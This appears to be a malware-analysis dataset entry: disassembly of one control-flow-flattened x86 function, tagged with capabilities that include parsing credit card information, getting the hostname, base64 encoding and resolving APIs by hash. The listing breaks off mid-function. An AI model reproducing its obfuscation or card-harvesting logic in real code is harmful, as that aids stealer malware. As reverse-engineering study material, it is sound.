Function at 0x435dbc
Capabilities:
Check http status code
Decompress data using ucl
Encode data using base64
Get hostname
Parse credit card information
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x1d8
mov esi, esp
mov dword [esi], 0x7b829d7e
mov eax, dword [esi]
cmp eax, 0xf59aa410
jg 0x435e87
cmp eax, 0xb7492519
jg 0x435f13
cmp eax, 0x9cc835e9
jle 0x436034
cmp eax, 0xa8be00b8
jle 0x43620e
cmp eax, 0xb0fa851e
jle 0x436571
cmp eax, 0xb3955f7a
jle 0x436b29
cmp eax, 0xb5399fb9
jg 0x437676
cmp eax, 0xb3955f7b
je 0x4387ae
cmp eax, 0xb3ca34d2
je 0x4387d9
cmp eax, 0xb48e79f6
jne 0x435dd3
mov eax, dword [esi + 0x164]
mov word [eax], 0xa
mov eax, dword [esi + 0x38]
mov eax, dword [esi + 0x14]
mov dword [eax], 0x100
push dword [esi + 0x14]
push dword [esi + 0x38]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [esi + 0x3c]
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x98], eax
mov eax, dword [esi + 0x98]
mov byte [eax + 0xd], 0
mov dword [esi], 0x15fa78a4
jmp 0x435dd3
cmp eax, 0x2eac4377
jg 0x435fc4
cmp eax, 0x10f35982
jle 0x43608f
cmp eax, 0x1b9c2851
jle 0x43627d
cmp eax, 0x2a06db1a
jle 0x4365c2
cmp eax, 0x2cecd9f3
jle 0x436b71
cmp eax, 0x2e3110c4
jg 0x4376b1
cmp eax, 0x2cecd9f4
je 0x4387f2
cmp eax, 0x2d0cd768
je 0x438836
cmp eax, 0x2dce13d0
jne 0x435dd3
imul ecx, dword [esi + 4], 0x3c2186
add ecx, 0xb9
mov dword [esi + 4], ecx
mov eax, 0x366a8f86
cmp ecx, 0xec
jl 0x435f0c
mov eax, 0xb3ca34d2
mov dword [esi], eax
jmp 0x435dd3
cmp eax, 0xd5e027da
jle 0x436113
cmp eax, 0xe5444043
jle 0x4362ca
cmp eax, 0xec44c6ed
jle 0x436604
cmp eax, 0xf18aa5e6
jle 0x436bd6
cmp eax, 0xf4663ab0
jg 0x4376dd
cmp eax, 0xf18aa5e7
je 0x438879
cmp eax, 0xf33e381b
je 0x4388a4
cmp eax, 0xf44ecfb2
jne 0x435dd3
mov eax, dword [esi + 0x3c]
mov ecx, dword [esi + 0x98]
movzx edx, word [ecx + 0xc]
mov word [eax + 0xc], dx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x3c]
push dword [esi + 0xc]
call fcn.0044fb80
add esp, 8
push dword [esi + 0x38]
push dword [esi + 0xc]
call fcn.0044fb80
add esp, 8
push dword [esi + 0xc]
call fcn.0044fd60
add esp, 4
mov dword [esi + 0x168], eax
mov dword [esi], 0x9ddfb641
jmp 0x435dd3
cmp eax, 0x4f3bd558
jle 0x436179
cmp eax, 0x65cb1f61
jle 0x43633c
cmp eax, 0x719fe0fe
jle 0x436652
cmp eax, 0x79322a21
jle 0x436c32
cmp eax, 0x7c4f8090
jg 0x43779c
cmp eax, 0x79322a22
je 0x4388e8
cmp eax, 0x7a18dbdd
je 0x438902
cmp eax, 0x7b829d7e
jne 0x435dd3
push eax
push eax
mov eax, esp
mov dword [esi + 0x24], eax
push eax
mov eax, esp
mov dword [esi + 0x28], eax
mov dword [esi], 0x7a18dbdd
jmp 0x435dd3
cmp eax, 0x8da7a2e6
jle 0x4363af
cmp eax, 0x959ee4b9
jle 0x436694
cmp eax, 0x9a40de0f
jg 0x436c8f
cmp eax, 0x98fbf504
jle 0x4377d4
cmp eax, 0x98fbf505
je 0x438932
cmp eax, 0x996aa53e
je 0x438980
cmp eax, 0x99c5c021
jne 0x435dd3
mov eax, dword [esi + 0x50]
mov dword [esi], 0x8da7a2e7
jmp 0x435dd3
cmp eax, 0x4552839
jg 0x436428
cmp eax, 0xfee0ed43
jg 0x4366f1
cmp eax, 0xf884d28c
jg 0x436cdf
cmp eax, 0xf7f4c540
jle 0x43781e
cmp eax, 0xf7f4c541
je 0x4389d1
cmp eax, 0xf81480c8
je 0x4389f4
cmp eax, 0xf85c6f06
jne 0x435dd3
imul edi, dword [esi + 4], 0xb90
add edi, 0xfffcb760
mov dword [esi + 4], edi
push 0x611c
push 0x4fa8
push edi
call fcn.00425eef
add esp, 0xc
push edi
call fcn.00435dbc
add esp, 4
mov dword [esi], 0xc3c216ce
jmp 0x435dd3
cmp eax, 0xc5e14dad
jg 0x43648d
cmp eax, 0xbeafbe87
jg 0x43677e
cmp eax, 0xbae1f949
jg 0x436d49
cmp eax, 0xba19f149
jle 0x437874
cmp eax, 0xba19f14a
je 0x438a2c
cmp eax, 0xba621180
je 0x438a40
cmp eax, 0xba6311c4
jne 0x435dd3
xor eax, eax
push eax
push dword [esi + 0x1c]
push eax
push eax
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
mov dword [esi], 0x2b60bfed
jmp 0x435dd3
cmp eax, 0x3df9b995
jg 0x436500
cmp eax, 0x35ce95f2
jg 0x4367d2
cmp eax, 0x3325a9b6
jg 0x436d91
cmp eax, 0x301d9480
jle 0x4378b7
cmp eax, 0x301d9481
je 0x438a6a
cmp eax, 0x323e6350
je 0x438a8c
cmp eax, 0x3266c6ca
jne 0x435dd3
mov eax, dword [esi + 4]
shr eax, 2
mov ecx, eax
shl ecx, 6
lea edi, [eax + ecx]
add edi, 0xb7
mov dword [esi + 4], edi
push 0xbb9
push 0x128b
push edi
push 0x1c6c
call fcn.0043ab70
add esp, 0x10
mov eax, 0xfee0ed44
cmp edi, 0xb0
jae 0x436207
mov eax, 0x369d02bb
mov dword [esi], eax
jmp 0x435dd3
cmp eax, 0xa16d3974
jg 0x43683d
cmp eax, 0xa0154fbb
jg 0x436dcd
cmp eax, 0x9ddfb640
jle 0x437935
cmp eax, 0x9ddfb641
je 0x438aa5
cmp eax, 0x9dfccdd7
je 0x438ae0
cmp eax, 0x9f39c676
jne 0x435dd3
mov ecx, dword [esi + 4]
shl ecx, 0xb
add ecx, 0x3c000
mov eax, ecx
shr eax, 5
mov dword [esi + 4], eax
mov eax, 0xbde0d5d0
cmp ecx, 0x1a21
jae 0x436276
mov eax, 0xd9df720d
mov dword [esi], eax
jmp 0x435dd3
cmp eax, 0x15a09b8b
jg 0x4368a9
cmp eax, 0x1314e9f4
jg 0x436e1e
cmp eax, 0x1171bc8f
jle 0x437974
cmp eax, 0x1171bc90
je 0x438b51
cmp eax, 0x11f24231
je 0x438b88
cmp eax, 0x12952900
jne 0x435dd3
mov dword [esi], 0x579967ae
jmp 0x435dd3
cmp eax, 0xddae6693
jg 0x43690a
cmp eax, 0xd7d12a06
jg 0x436e83
cmp eax, 0xd6d9a042
jle 0x4379a7
cmp eax, 0xd6d9a043
je 0x438bc3
cmp eax, 0xd73ceb27
je 0x438c04
cmp eax, 0xd7b4c8d6
jne 0x435dd3
push dword [esi + 0xfc]
push dword [esi + 0xc]
call fcn.0044fb80
add esp, 8
push dword [esi + 0xc]
call fcn.0044fd60
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0x190], eax
mov dword [esi], 0xfc921bf5
jmp 0x435dd3
cmp eax, 0x58d7c06f
jg 0x43694f
cmp eax, 0x54c5384b
jg 0x436ed7
cmp eax, 0x516304b8
jle 0x437a0c
cmp eax, 0x516304b9
je 0x438c8e
cmp eax, 0x524f7fc6
je 0x438c99
cmp eax, 0x52f1c848
jne 0x435dd3
xor edi, edi
mov dword [esi + 4], edi
push edi
call fcn.00435dbc
add esp, 4
push 0x27f4
push 0x36aa
push 0x5d0c
push edi
call fcn.0043ab70
add esp, 0x10
mov dword [esi], 0xc790f37e
jmp 0x435dd3
cmp eax, 0x86c08b95
jg 0x43699a
cmp eax, 0x83fc6d77
jg 0x436f38
cmp eax, 0x826ee42c
jle 0x437a51
cmp eax, 0x826ee42d
je 0x438cb3
cmp eax, 0x82fc375f
je 0x438d3c
cmp eax, 0x8390bd74
jne 0x435dd3
mov eax, dword [esi + 4]
mov ecx, 0xbf
add eax, ecx
shr eax, 0xa
imul ecx, eax, 0xca
mov eax, ecx
shr eax, 3
add eax, 0xffffff9d
mov dword [esi + 4], eax
mov eax, 0x8410c221
cmp ecx, 0x878
jb 0x436421
mov eax, 0x79322a22
mov dword [esi], eax
jmp 0x435dd3
cmp eax, 0xb7f4f9b
jg 0x436a1b
cmp eax, 0x7d607cf
jg 0x436f96
cmp eax, 0x5d2b444
jle 0x437a84
cmp eax, 0x5d2b445
je 0x438d47
cmp eax, 0x6c7ffcc
je 0x438d61
cmp eax, 0x6f32ba4
jne 0x435dd3
mov eax, dword [esi + 0xc]
add eax, dword [esi + 0x134]
mov dword [esi + 0x138], eax
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x78], eax
mov dword [esi], 0x83fc6d78
jmp 0x435dd3
cmp eax, 0xd00f3da2
jg 0x436a5d
cmp eax, 0xc7f149d0
jg 0x436fdf
cmp eax, 0xc7289446
jle 0x437ade
cmp eax, 0xc7289447
je 0x438d9e
cmp eax, 0xc790f37e
je 0x438e0f
cmp eax, 0xc7e3c84f
jne 0x435dd3
mov eax, dword [esi + 8]
shr eax, 1
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x5433
dec edx
shl eax, 5
add eax, 0x2f20
mov dword [esi + 8], eax
mov eax, 0xa16d3975
cmp edx, ecx
je 0x4364f9
mov eax, 0xab04b21d
mov dword [esi], eax
jmp 0x435dd3
cmp eax, 0x444b13ff
jg 0x436adb
cmp eax, 0x4160e19a
jg 0x43702e
cmp eax, 0x3f742006
jle 0x437b25
cmp eax, 0x3f742007
je 0x438e3e
cmp eax, 0x408dfb0c
je 0x438e4c
cmp eax, 0x411b18cb
jne 0x435dd3
imul edi, dword [esi + 4], 0x439758
add edi, 0xffffffbf
mov dword [esi + 4], edi
push edi
call fcn.00435dbc
add esp, 4
mov eax, 0xacd3253b
cmp edi, 0xa8
jge 0x43656a
mov eax, 0xbeafbe88
mov dword [esi], eax
jmp 0x435dd3
cmp eax, 0xab8a5b54
jg 0x4370c1
cmp eax, 0xa953ddc2
jle 0x437b83
cmp eax, 0xa953ddc3
je 0x438e69
cmp eax, 0xab04b21d
je 0x438e74
cmp eax, 0xab637620
jne 0x435dd3
imul eax, dword [esi + 4], 0x28c00
add eax, 0xfffde400
mov dword [esi + 4], eax
mov dword [esi], 0x3d690808
jmp 0x435dd3
cmp eax, 0x1fcf7e49
jg 0x437154
cmp eax, 0x1d8ef529
jle 0x437bd7
cmp eax, 0x1d8ef52a
je 0x438eb7
cmp eax, 0x1f54ac28
je 0x438ef7
cmp eax, 0x1f64fb16
jne 0x435dd3
mov dword [esi], 0xd914716f
jmp 0x435dd3
cmp eax, 0xe6fb631c
jg 0x43719c
cmp eax, 0xe57461c2
jle 0x437c2a
cmp eax, 0xe57461c3
je 0x438f3c
cmp eax, 0xe663ea5a
je 0x438f6b
cmp eax, 0xe680363f
jne 0x435dd3
mov eax, dword [esi + 0x18]
mov eax, dword [eax + 4]
mov dword [esi + 0x17c], eax
mov dword [esi], 0xc5e14dae
jmp 0x435dd3
cmp eax, 0x6b38afcc
jg 0x4371d3
cmp eax, 0x674fda91
jle 0x437c5a
cmp eax, 0x674fda92
je 0x438fcf
cmp eax, 0x6a428a4e
je 0x439003
cmp eax, 0x6b36a75c
jne 0x435dd3
mov dword [esi], 0xa4597235
jmp 0x435dd3
cmp eax, 0x90a7d721
jg 0x437249
cmp eax, 0x8eaab81c
jle 0x437c8d
cmp eax, 0x8eaab81d
je 0x439049
cmp eax, 0x8ecd0d61
je 0x43ab17
cmp eax, 0x8efadeee
jne 0x435dd3
mov ecx, dword [esi + 4]
mov eax, 0xffffff4a
add ecx, eax
mov dword [esi + 4], ecx
mov eax, 0x826ee42d
cmp ecx, 0xc5
jl 0x4366ea
mov eax, 0x6f32ba4
mov dword [esi], eax
jmp 0x435dd3
cmp eax, 0x173755b
jg 0x4372a7
cmp eax, 0xff6a3c05
jle 0x437cbf
cmp eax, 0xff6a3c06
je 0x439096
cmp eax, 0x579704
je 0x4390b2
cmp eax, 0x127c5d7
jne 0x435dd3
imul edi, dword [esi + 4], 0x1b24
add edi, 0x7c2e
mov dword [esi + 4], edi
push edi
push 0x30bf
push 0x483f
push 0x29aa
call fcn.0043aca0
add esp, 0x10
push edi
push 0x2421
push 0x1d9c
push 0x3139
call fcn.0043aca0
add esp, 0x10
mov eax, 0xe2e8a630
cmp edi, 0x7a
je 0x436777
mov eax, 0x41e179c3
mov dword [esi], eax
jmp 0x435dd3
cmp eax, 0xc3c216cd
jg 0x4372fe
cmp eax, 0xc02aa3dd
jle 0x437d08
cmp eax, 0xc02aa3de
je 0x4390e4
cmp eax, 0xc0cd4a34
je 0x439113
cmp eax, 0xc2428242
jne 0x435dd3
imul eax, dword [esi + 8], 0x6e400
add eax, 0xfffffb60
shr eax, 9
mov dword [esi + 8], eax
mov dword [esi], 0x2f07c3be
jmp 0x435dd3
cmp eax, 0x3825f49a
jg 0x437353
cmp eax, 0x369d02ba
jle 0x437d3e
cmp eax, 0x369d02bb
je 0x43911e
cmp eax, 0x36c848d1
je 0x43913c
cmp eax, 0x375c1a1a
jne 0x435dd3
mov edi, 0xf
push edi
push 0x4740ec
push dword [esi + 0x78]
call fcn.00443560
add esp, 0xc
push 8
push 0x4740fb
push edi
push dword [esi + 0x78]
call fcn.0043aca0
add esp, 0x10
mov dword [esi], 0x719fe0ff
jmp 0x435dd3
cmp eax, 0xa520232d
jg 0x43739c
cmp eax, 0xa2289dff
jle 0x437dad
cmp eax, 0xa2289e00
je 0x43916c
cmp eax, 0xa30b2c58
je 0x439188
cmp eax, 0xa4597235
jne 0x435dd3
mov eax, dword [esi + 0xd4]
mov eax, dword [esi + 0xcc]
mov eax, dword [esi + 0xd0]
mov eax, dword [esi + 0xd8]
mov dword [esi + 0x1b0], eax
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x1a4]
mov dword [eax + 0x10], ecx
mov dword [esi], 0xc7289447
jmp 0x435dd3
cmp eax, 0x18d9f314
jg 0x4373e2
cmp eax, 0x15fa78a3
jle 0x437de0
cmp eax, 0x15fa78a4
je 0x4391b6
cmp eax, 0x164f71a1
je 0x439201
cmp eax, 0x1896314a
jne 0x435dd3
mov eax, dword [esi + 0x50]
mov ecx, dword [esi + 0xa8]
mov edx, dword [ecx + 0xb]
mov dword [eax + 0xb], edx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
mov dword [esi], 0x173755c
jmp 0x435dd3
cmp eax, 0xe2af09d7
jg 0x437450
cmp eax, 0xe0ce4394
jle 0x437e17
cmp eax, 0xe0ce4395
je 0x439210
cmp eax, 0xe112a8d8
je 0x43923e
cmp eax, 0xe1cbe720
jne 0x435dd3
mov eax, dword [esi + 0x4c]
mov dword [esi], 0x2e8e5f5e
jmp 0x435dd3
cmp eax, 0x5e631d96
jg 0x4374ac
cmp eax, 0x59e1d200
jle 0x437e5a
cmp eax, 0x59e1d201
je 0x439268
cmp eax, 0x5ab416d0
je 0x4392a3
cmp eax, 0x5c26d242
jne 0x435dd3
mov eax, dword [esi + 0x28]
mov dword [eax], 0x8000
mov dword [esi], 0x6f4f0b35
jmp 0x435dd3
cmp eax, 0x896a37de
jg 0x437523
cmp eax, 0x8792d192
jle 0x437e90
cmp eax, 0x8792d193
je 0x4392d9
cmp eax, 0x87978f14
je 0x4392f0
cmp eax, 0x87c33b4e
jne 0x435dd3
mov eax, dword [esi + 4]
add eax, 0xffffffb7
shr eax, 0xb
imul edi, eax, 0x618
add edi, 0x32a78
mov dword [esi + 4], edi
push edi
call fcn.00435dbc
add esp, 4
push 0x122d
push 0x18e4
push edi
call fcn.00425eef
add esp, 0xc
mov eax, 0xd562ff25
cmp edi, 0x60
je 0x436a14
mov eax, 0x4a38f21
mov dword [esi], eax
jmp 0x435dd3
cmp eax, 0xe67f839
jg 0x437588
cmp eax, 0xcb0fbef
jle 0x437ee9
cmp eax, 0xcb0fbf0
je 0x43930c
cmp eax, 0xd57c854
je 0x439325
cmp eax, 0xdd53c68
jne 0x435dd3
mov dword [esi], 0x1b484b2e
jmp 0x435dd3
cmp eax, 0xd35847e4
jg 0x4375fb
cmp eax, 0xd05b7f20
jle 0x437f32
cmp eax, 0xd05b7f21
je 0x43934d
cmp eax, 0xd1dcb68d
je 0x43938a
cmp eax, 0xd2823ab7
jne 0x435dd3
mov eax, dword [esi + 0xc8]
mov eax, dword [esi + 0xbc]
mov eax, dword [esi + 0xc0]
mov eax, dword [esi + 0xc4]
mov dword [esi + 0x19c], eax
mov eax, dword [esi + 0xbc]
mov eax, dword [esi + 0xc0]
mov eax, dword [esi + 0xc4]
mov eax, dword [esi + 0xc8]
mov dword [esi + 0x1a0], eax
mov dword [esi], 0x3b0a7754
jmp 0x435dd3
cmp eax, 0x47ca0204
jg 0x437632
cmp eax, 0x45dda33d
jle 0x437f72
cmp eax, 0x45dda33e
je 0x4393c3
cmp eax, 0x472e3cc0
je 0x4393f1
cmp eax, 0x475d0cae
jne 0x435dd3
imul eax, dword [esi + 8], 0x64
add eax, 0xffffff19
mov dword [esi + 8], eax
mov dword [esi], 0x9dfccdd7
jmp 0x435dd3
cmp eax, 0xb14b28f0
jle 0x437fb4
cmp eax, 0xb14b28f1
je 0x43940b
cmp eax, 0xb1a57c9a
je 0x439416
cmp eax, 0xb218a53a
jne 0x435dd3
push dword [esi + 0xc]
call fcn.0044fd60
add esp, 4
mov dword [esi + 0x15c], eax
mov dword [esi], 0x3d690808
jmp 0x435dd3
cmp eax, 0x2b64cc5c
jle 0x437ffd
cmp eax, 0x2b64cc5d
je 0x43944b
cmp eax, 0x2ba63e6d
je 0x439474
cmp eax, 0x2cb551f6
jne 0x435dd3
imul edi, dword [esi + 4], 0x8a
add edi, 0xb6
mov dword [esi + 4], edi
push 0x3ef3
push 0x5600
push edi
call fcn.00425eef
add esp, 0xc
mov eax, 0x2f07c3be
cmp edi, 0x4a
jl 0x436bcf
mov eax, 0x719fe0ff
mov dword [esi], eax
jmp 0x435dd3
cmp eax, 0xedd65c38
jle 0x438021
cmp eax, 0xedd65c39
je 0x4394aa
cmp eax, 0xede0b7b1
je 0x4394b5
cmp eax, 0xf0558411
jne 0x435dd3
mov eax, dword [esi + 8]
shr eax, 7
lea ecx, [eax + 0x6a]
imul ecx, ecx
add eax, 0xfffffeae
imul edx, ecx, 0x5b1b
dec edx
mov dword [esi + 8], eax
mov eax, 0x3266c6ca
cmp edx, ecx
je 0x436c2b
mov eax, 0xe5444044
mov dword [esi], eax
jmp 0x435dd3
cmp eax, 0x74b82695
jle 0x43804d
cmp eax, 0x74b82696
je 0x439501
cmp eax, 0x753381f7
je 0x439524
cmp eax, 0x789b2fa9
jne 0x435dd3
mov eax, dword [esi + 4]
mov ecx, 0x10b
add eax, ecx
shr eax, 0xf
imul ecx, eax, 0x7a
mov eax, ecx
shr eax, 9
mov dword [esi + 4], eax
mov eax, 0x6c7ffcc
cmp ecx, 0x10000
jae 0x436c88
mov eax, 0xc790f37e
mov dword [esi], eax
jmp 0x435dd3
cmp eax, 0x9c2167da
jle 0x43808b
cmp eax, 0x9c2167db
je 0x439553
cmp eax, 0x9c2fd435
je 0x43958a
cmp eax, 0x9c9ae2ee
jne 0x435dd3
push 0xa
push dword [esi + 0x114]
push dword [esi + 0x1cc]
call fcn.0044cecc
add esp, 0xc
mov eax, dword [esi + 0x68]
mov dword [esi], 0xfd4792a
jmp 0x435dd3
cmp eax, 0xfc921bf4
jle 0x4380d7
cmp eax, 0xfc921bf5
je 0x439595
cmp eax, 0xfe34094c
je 0x4395ab
cmp eax, 0xfe9cbc93
jne 0x435dd3
imul edi, dword [esi + 4], 0xdd
shr edi, 3
add edi, 0xffffff85
mov dword [esi + 4], edi
push 0x5a12
push edi
push 0x6bb
push 0x283d
call fcn.0043ab70
add esp, 0x10
mov eax, 0x630b484b
cmp edi, 0x33
jb 0x436d42
mov eax, 0x8410c221
mov dword [esi], eax
jmp 0x435dd3
cmp eax, 0xbd121000
jle 0x438102
cmp eax, 0xbd121001
je 0x4395f9
cmp eax, 0xbd4ff6ac
je 0x439624
cmp eax, 0xbde0d5d0
jne 0x435dd3
push dword [esi + 0x100]
push dword [esi + 0xc]
call fcn.0044fb80
add esp, 8
mov dword [esi], 0xd9df720d
jmp 0x435dd3
cmp eax, 0x3361bb00
jle 0x438163
cmp eax, 0x3361bb01
je 0x439632
cmp eax, 0x3478b7e1
je 0x43963d
cmp eax, 0x3597512b
jne 0x435dd3
mov eax, dword [esi + 4]
shl eax, 0xe
add eax, 0xfffa4000
jmp 0x4386d6
cmp eax, 0xa0519cbf
jle 0x4381b5
cmp eax, 0xa0519cc0
je 0x439654
cmp eax, 0xa098f6f1
je 0x439681
cmp eax, 0xa141c1ec
jne 0x435dd3
mov eax, dword [esi + 8]
and eax, 0xfffffff0
shl eax, 8
lea ecx, [eax + eax*2]
lea eax, [eax + ecx*4]
add eax, 0xfffffa50
shr eax, 2
mov dword [esi + 8], eax
mov dword [esi], 0x64f6c2e5
jmp 0x435dd3
cmp eax, 0x150f2f50
jle 0x4381e5
cmp eax, 0x150f2f51
je 0x4396a6
cmp eax, 0x154e76aa
je 0x4396ea
cmp eax, 0x157b8e02
jne 0x435dd3
imul edi, dword [esi + 4], 0x2c604
add edi, 0xffe5a6da
mov dword [esi + 4], edi
push edi
push 0x212e
push 0x2a2a
call fcn.00425eef
add esp, 0xc
mov eax, 0x301d9481
cmp edi, 0x6d
jge 0x436e7c
mov eax, 0xb218a53a
mov dword [esi], eax
jmp 0x435dd3
cmp eax, 0xd914716e
jle 0x438240
cmp eax, 0xd914716f
je 0x4396fe
cmp eax, 0xd9df720d
je 0x43975b
cmp eax, 0xdcc6f548
jne 0x435dd3
mov ecx, dword [esi + 4]
shl ecx, 5
and ecx, 0xffffe00
or ecx, 9
mov dword [esi + 4], ecx
mov eax, 0xba6311c4
cmp ecx, 0x38
jb 0x436ed0
mov eax, 0x15fa78a4
mov dword [esi], eax
jmp 0x435dd3
cmp eax, 0x5616715b
jle 0x43828c
cmp eax, 0x5616715c
je 0x439777
cmp eax, 0x56e558fd
je 0x439799
cmp eax, 0x579967ae
jne 0x435dd3
mov eax, dword [esi + 0x64]
mov dword [eax + 4], 0x203a55
mov dword [eax], 0x5047202d
push dword [esi + 0x64]
push dword [esi + 0xc]
call fcn.0044fb80
add esp, 8
mov eax, dword [esi + 0x1c]
add eax, 0x24
mov dword [esi + 0x1c8], eax
mov dword [esi], 0xe910e548
jmp 0x435dd3
cmp eax, 0x84554dd0
jle 0x4382b8
cmp eax, 0x84554dd1
je 0x4397bd
cmp eax, 0x8509b7d8
je 0x4397da
cmp eax, 0x850da2bb
jne 0x435dd3
mov edi, dword [esi + 4]
shl edi, 0xf
mov dword [esi + 4], edi
push 0x119d
push edi
push 0x5152
call fcn.00425eef
add esp, 0xc
mov eax, 0x8ecd0d61
cmp edi, 0x6b
jl 0x436f8f
mov eax, 0x8509b7d8
mov dword [esi], eax
jmp 0x435dd3
cmp eax, 0x9846d7a
jle 0x4382f5
cmp eax, 0x9846d7b
je 0x439825
cmp eax, 0xa2b8fef
je 0x439833
cmp eax, 0xa87d953
jne 0x435dd3
push 1
push 0x20
call fcn.0044e903
add esp, 8
mov dword [esi + 0xf8], eax
mov dword [esi], 0x1b9c2852
jmp 0x435dd3
cmp eax, 0xce7ace37
jle 0x438323
cmp eax, 0xce7ace38
je 0x439852
cmp eax, 0xcf0ed0fc
je 0x439866
cmp eax, 0xcf303784
jne 0x435dd3
mov ecx, dword [esi + 4]
mov eax, 0xbe
add ecx, eax
mov dword [esi + 4], ecx
mov eax, 0x8c9a7c36
cmp ecx, 0x15
jb 0x437027
mov eax, 0xd562ff25
mov dword [esi], eax
jmp 0x435dd3
cmp eax, 0x425df27f
jle 0x438359
cmp eax, 0x425df280
je 0x439895
cmp eax, 0x427e6b9c
je 0x4398b1
cmp eax, 0x43745cb4
jne 0x435dd3
push 0x14
push 0x468c60
push dword [esi + 0xf4]
call fcn.00443560
add esp, 0xc
push 4
push 0x468c74
push 0xa
push dword [esi + 0xf4]
call fcn.0043ab70
add esp, 0x10
push 0x16
push dword [esi + 0xf4]
push dword [esi + 0x70]
call fcn.00443560
add esp, 0xc
push dword [esi + 0xc]
call fcn.0044fd60
add esp, 4
push eax
push dword [esi + 0xc]
push dword [esi + 0x70]
push dword [ebp + 8]
call fcn.004206de
add esp, 0x10
mov dword [esi], 0xff6a3c06
jmp 0x435dd3
cmp eax, 0xacd3253a
jle 0x4383a1
cmp eax, 0xacd3253b
je 0x4398ce
cmp eax, 0xad5b1702
je 0x439951
cmp eax, 0xaff9186a
jne 0x435dd3
push 0x18
push str.sC_u0
push dword [esi + 0x8c]
call fcn.00443560
add esp, 0xc
push 5
push 0x468bf8
mov eax, 0xc
push eax
push dword [esi + 0x8c]
call fcn.0043ab70
add esp, 0x10
push dword [esi + 0x8c]
push 0x23fef64a
call fcn.0043ebdc
add esp, 8
push dword [esi + 0x28]
push dword [esi + 0x104]
call eax
mov eax, dword [esi + 0x2c]
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x90], eax
mov dword [esi], 0x472e3cc0
jmp 0x435dd3
cmp eax, 0x26aae735
jle 0x4383ec
cmp eax, 0x26aae736
je 0x439984
cmp eax, 0x26f04997
je 0x4399ac
cmp eax, 0x2709ba19
jne 0x435dd3
mov eax, dword [esi + 8]
shr eax, 4
and eax, 0xffffffc0
add eax, 0xffffff4b
mov dword [esi + 8], eax
mov dword [esi], 0xc45b011c
jmp 0x435dd3
cmp eax, 0xeb070363
jle 0x438454
cmp eax, 0xeb070364
je 0x4399e5
cmp eax, 0xeb103755
je 0x439a74
cmp eax, 0xeb1fd2bb
jne 0x435dd3
mov dword [esi], 0xd5c46b10
jmp 0x435dd3
cmp eax, 0x6d5ca6a5
jle 0x438481
cmp eax, 0x6d5ca6a6
je 0x439ab6
cmp eax, 0x6f4f0b35
je 0x439ad3
cmp eax, 0x7131b82e
jne 0x435dd3
mov eax, dword [esi + 4]
shr eax, 1
and eax, 0x3ffff
imul edi, eax, 0xe2
shr edi, 9
and edi, 0xffffffc0
mov dword [esi + 4], edi
push 0x3281
push 0x20e6
push edi
push 0x1294
call fcn.0043ab70
add esp, 0x10
mov eax, 0x7f31619f
cmp edi, 0xa6
jae 0x437242
mov eax, 0x7b829d7e
mov dword [esi], eax
jmp 0x435dd3
cmp eax, 0x9487deca
jle 0x4384bf
cmp eax, 0x9487decb
je 0x439af6
cmp eax, 0x94d41fcc
je 0x439b24
cmp eax, 0x94fbdada
jne 0x435dd3
mov eax, dword [esi + 8]
add eax, 0x54
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x527b
dec edx
shr eax, 3
and eax, 0x1fffff00
mov dword [esi + 8], eax
mov eax, 0xb3ca34d2
cmp edx, ecx
je 0x4372a0
mov eax, 0xb48e79f6
mov dword [esi], eax
jmp 0x435dd3
cmp eax, 0x229630b
jle 0x4384fd
cmp eax, 0x229630c
je 0x439b3c
cmp eax, 0x31419f4
je 0x439b5d
cmp eax, 0x3fd5b54
jne 0x435dd3
imul eax, dword [esi + 4], 0x1ba00000
add eax, 0x8be00000
shr eax, 2
imul ecx, eax, 0x4c
mov dword [esi + 4], ecx
mov eax, 0xd5e1a957
cmp ecx, 0x31
jl 0x4372f7
mov eax, 0x719fe0ff
mov dword [esi], eax
jmp 0x435dd3
cmp eax, 0xc45b011b
jle 0x438547
cmp eax, 0xc45b011c
je 0x439ba4
cmp eax, 0xc506f8ea
je 0x439bdc
cmp eax, 0xc5819afb
jne 0x435dd3
mov eax, dword [esi + 0x18]
mov eax, dword [eax]
mov dword [esi + 0x180], eax
mov eax, dword [esi + 0x174]
lea eax, [eax*4 + 0x4740b0]
mov dword [esi + 0x184], eax
mov dword [esi], 0xa098f6f1
jmp 0x435dd3
cmp eax, 0x398a740d
jle 0x43859a
cmp eax, 0x398a740e
je 0x439bfe
cmp eax, 0x3b0a7754
je 0x439c1f
cmp eax, 0x3d690808
jne 0x435dd3
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0x15c]
mov word [eax + ecx], 0xa
mov eax, dword [esi + 0x30]
mov dword [esi], 0x81e12f62
jmp 0x435dd3
cmp eax, 0xa645f8e3
jle 0x4385f1
cmp eax, 0xa645f8e4
je 0x439c2a
cmp eax, 0xa7949b7e
je 0x439c35
cmp eax, 0xa8ac93ea
jne 0x435dd3
imul eax, dword [esi + 8], 0x13b3f0
add eax, 0xffffd375
mov dword [esi + 8], eax
mov dword [esi], 0x56e558fd
jmp 0x435dd3
cmp eax, 0x1adb96c8
jle 0x438612
cmp eax, 0x1adb96c9
je 0x439c43
cmp eax, 0x1af124cf
je 0x439c5f
cmp eax, 0x1b484b2e
jne 0x435dd3
mov eax, dword [esi + 0x20]
xor ecx, ecx
mov dword [eax + 4], ecx
mov dword [eax], ecx
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0xf0], eax
mov eax, dword [esi + 0xf0]
mov word [eax + 0x18], 0
push 0x18
push 0x468c30
push dword [esi + 0xf0]
call fcn.00443560
add esp, 0xc
mov dword [esi], 0x98fbf505
jmp 0x435dd3
cmp eax, 0xe2f223ee
jle 0x438668
cmp eax, 0xe2f223ef
je 0x439c82
cmp eax, 0xe2fec062
je 0x439cd8
